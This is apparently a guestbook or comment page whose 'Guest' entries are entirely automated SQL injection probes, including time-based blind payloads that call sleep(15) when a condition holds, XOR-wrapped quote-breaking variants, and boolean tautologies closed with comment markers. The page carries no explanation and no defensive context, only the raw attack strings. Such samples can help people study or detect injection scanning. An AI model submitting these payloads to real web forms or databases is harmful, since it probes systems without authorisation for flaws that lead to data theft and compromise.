Guest:
555*if(now()=sysdate(),sleep(15),0)


Guest:
555*if(now()=sysdate(),sleep(15),0)


-1 OR 2+605-605-1=0+0+0+1 --

-1 OR 2+790-790-1=0+0+0+1

-1' OR 2+427-427-1=0+0+0+1 --

-1' OR 2+925-925-1=0+0+0+1 or 'oUXsy87G'='

-1" OR 2+392-392-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555*if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555*if(now()=sysdate(),sleep(15),0)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z